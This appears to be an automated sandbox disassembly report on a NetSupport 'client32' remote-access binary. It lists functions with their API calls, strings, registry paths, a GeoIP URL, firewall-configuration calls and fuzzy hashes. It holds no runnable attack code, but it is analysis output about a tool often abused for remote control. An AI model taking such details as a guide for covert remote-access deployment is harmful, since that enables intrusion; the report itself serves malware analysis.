Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,776CC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11085E6B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11085E7F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11085E93
wsprintfA.USER32 ref: 11085F1B
wsprintfA.USER32 ref: 11085F32
wsprintfA.USER32 ref: 11085F49
CloseHandle.KERNEL32(00000000,11085C70,00000001,00000000), ref: 1108609A

Part of subcall function 11085A80: CloseHandle.KERNEL32(?,7572F550,?,?,110860C0,?,11031942,033B6EC0,00000000,?,?,?), ref: 11085A98
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,7572F550,?,?,110860C0,?,11031942,033B6EC0,00000000,?,?,?), ref: 11085AAB
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,7572F550,?,?,110860C0,?,11031942,033B6EC0,00000000,?,?,?), ref: 11085ABE
Part of subcall function 11085A80: FreeLibrary.KERNEL32(00000000,7572F550,?,?,110860C0,?,11031942,033B6EC0,00000000,?,?,?), ref: 11085AD1

Strings

GetInventoryEx, xrefs: 11085E87
%s_SW.%s, xrefs: 11085F2C
PCIINV.DLL, xrefs: 11085E40
Cancel, xrefs: 11085E79
%s_HF.%s, xrefs: 11085F43
%s_HW.%s, xrefs: 11085F12
GetInventory, xrefs: 11085E65

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction ID: c264ff3baa83c9e34b1ea5f373b83d9ca187d225ad452563e08076ac2ec7b834
Opcode Fuzzy Hash: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction Fuzzy Hash: 40718175E0874AABEB14CF75CC46BDBFBE4AB48304F10452AE956D7280EB71A500CB95

Function 110304B8 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 110305F3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 1103060A
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 110306AC
SetLastError.KERNEL32(00000078), ref: 110306C2
WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Strings

_debug\trace, xrefs: 11030544
/247, xrefs: 11030616
PCIMutex, xrefs: 110305E3, 11030603
_debug\tracefile, xrefs: 11030556
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1103052A
istaUI, xrefs: 1103050D
SetProcessDPIAware, xrefs: 110306A6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction ID: 4511418fabb8e143c6e2e60e2068ec6a59f08b67eb8208c825473cc9362a61df
Opcode Fuzzy Hash: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction Fuzzy Hash: 72613774E1635AAFEB10DFB09C44B9EB7B4AF8470DF1000A9D919A71C5EF70AA44CB51

Function 1102C410 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C455
GetTickCount.KERNEL32 ref: 1102C47A

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

GetTickCount.KERNEL32 ref: 1102C574

Part of subcall function 110D1370: wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C66C
CloseHandle.KERNEL32(?), ref: 1102C688

Strings

LatLong, xrefs: 1102C438, 1102C525
?IP=%s, xrefs: 1102C506
GeoIP, xrefs: 1102C4C3
IsA(), xrefs: 1102C6BE, 1102C6D2, 1102C6E6, 1102C6FA
GetLatLong=%s, took %d ms, xrefs: 1102C591
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C495
_debug, xrefs: 1102C4C8, 1102C52A
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C6B9, 1102C6CD, 1102C6E1, 1102C6F5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction ID: 59613557395ae23f7967247d4baf4cae7550bfc3229e85cd4bc92fe2e2f2b4a8
Opcode Fuzzy Hash: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction Fuzzy Hash: 6B818275E0020AABDF04DBE8CD94FEEF7B5AF59708F504258E82567284DB34BA05CB61

Function 11061700 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106175A

Part of subcall function 11061140: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
Part of subcall function 11061140: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110617AB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11061865
RegCloseKey.ADVAPI32(?), ref: 11061881

Strings

%s\%s\%s\, xrefs: 11061804
Standard, xrefs: 110617C6
Software\Policies\NetSupport\Client\Standard, xrefs: 1106176D
Client, xrefs: 11061768, 11061898
Client, xrefs: 110617FA
Software\Policies\NetSupport, xrefs: 110617FF
Client.%04d.%s, xrefs: 110617E7
DisableUserPolicies, xrefs: 11061893
Software\Policies\NetSupport\Client, xrefs: 11061754

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction ID: 3a074a016260bf88f68c0586b8c591cabbb012c9b5ad66670ab8b6bf40d046b4
Opcode Fuzzy Hash: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction Fuzzy Hash: 5F416179E4022DABD724CB55CC81FEAB7BCEB94748F1001D9EA48A6140D6B06E84CFA1

Function 11137630 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetTickCount.KERNEL32 ref: 11137692

Part of subcall function 11096970: CoInitialize.OLE32(00000000), ref: 11096984
Part of subcall function 11096970: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
Part of subcall function 11096970: CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
Part of subcall function 11096970: CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

GetTickCount.KERNEL32 ref: 111376A1
_memset.LIBCMT ref: 111376E3
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 111376F9
_strrchr.LIBCMT ref: 11137708
_free.LIBCMT ref: 1113775A

Strings

No ICF present, xrefs: 11137792
ICFConfig, xrefs: 11137645
Client, xrefs: 1113766C
IsICFPresent..., xrefs: 1113767F
IsICFPresent() took %d ms, xrefs: 111376AD
*AutoICFConfig, xrefs: 11137667
ICFConfig2 returned 0x%x, xrefs: 11137760

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction ID: 94b21c48fabd249aebac1ca0d473d12a11480cc4bb4ab1ee9f0f9b3b40903c19
Opcode Fuzzy Hash: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction Fuzzy Hash: 9941AE7AE0022E97C710DF756C89BEFF7699B5471DF040079E90493140EAB1AD44CBE1

Function 11133E80 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

AdjustWindowRectEx.USER32(111417B8,00CE0000,00000001,00000001), ref: 11133EC7
LoadMenuA.USER32(00000000,000003EC), ref: 11133ED8
GetSystemMetrics.USER32(00000021), ref: 11133EE9
GetSystemMetrics.USER32(0000000F), ref: 11133EF1
GetSystemMetrics.USER32(00000004), ref: 11133EF7
GetDC.USER32(00000000), ref: 11133F03
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11133F0E
ReleaseDC.USER32(00000000,00000000), ref: 11133F1A
CreateWindowExA.USER32(00000001,NSMWClass,033A0598,00CE0000,80000000,80000000,111417B8,?,00000000,?,11000000,00000000), ref: 11133F6F
GetLastError.KERNEL32(?,?,?,?,?,110F7D09,00000001,111417B8,_debug), ref: 11133F77

Strings

CreateMainWnd, hwnd=%x, e=%d, xrefs: 11133F7F
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11133F2E
NSMWClass, xrefs: 11133F69

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction ID: 5297cf036ba1cbd73fc44df567c8a611b910eb11675e7325f2afb4d5e36916b9
Opcode Fuzzy Hash: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction Fuzzy Hash: C4316275E10219ABDB149FF58C85FAFFBB8EB48709F100529FA25B7284D67469008BA4

Function 1102CC10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102DD98,00000000,59FD48C0,?,00000000,00000000), ref: 1102CE44
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CE5A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CE6E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE75
Sleep.KERNEL32(00000032), ref: 1102CE86
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE96
Sleep.KERNEL32(000003E8), ref: 1102CEE2
CloseHandle.KERNEL32(?), ref: 1102CF0F

Strings

NSA.LIC, xrefs: 1102CF56, 1102CF5D, 1102CF8D
NSM.LIC, xrefs: 1102CF47
ProtectedStorage, xrefs: 1102CE54
>, xrefs: 1102CDBB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction ID: 880dc79335238c7f7dd8ff78cda89552a6d5dde84d0873ba54ec41c4173cff75
Opcode Fuzzy Hash: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction Fuzzy Hash: 27B19475E012259FDB25DFA4CD80BEDB7B5BB48708F5041E9E919AB381DB70AA80CF50

Function 11132BF0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11132C60
GetTickCount.KERNEL32 ref: 11132C91
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
GetTickCount.KERNEL32 ref: 11132CAC

Strings

runplugin.exe, xrefs: 11132C3E
HasStudentComponents=%d, xrefs: 11132D27
CommonPath, xrefs: 11132CCF
Warning. SHGetFolderPath took %d ms, xrefs: 11132CB6
schplayer.exe, xrefs: 11132CE8
Software\NSL, xrefs: 11132CD4
%s%s, xrefs: 11132C5A, 11132CFE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction ID: 1138b9c1199a8041912b1953dd267279d987a2a799c8ea79b9a25deb6d60bab0
Opcode Fuzzy Hash: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction Fuzzy Hash: F33157BAE4022E67E700AFB0AC84FEDF36C9B9471EF1000A9E915A7145EA72B545C761

Function 11026BA0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026C26
_strtok.LIBCMT ref: 11026C60
Sleep.KERNEL32(1102FC53,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11026D54

Strings

Error. not all transports loaded (%d/%d), xrefs: 11026D28
Client, xrefs: 11026C16, 11026CBB
Retrying..., xrefs: 11026D42
Protocols, xrefs: 11026C11
TCPIP, xrefs: 11026C82
UseNCS, xrefs: 11026C7D
*max_sessions, xrefs: 11026CB6
LoadTransports(%d), xrefs: 11026C9C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
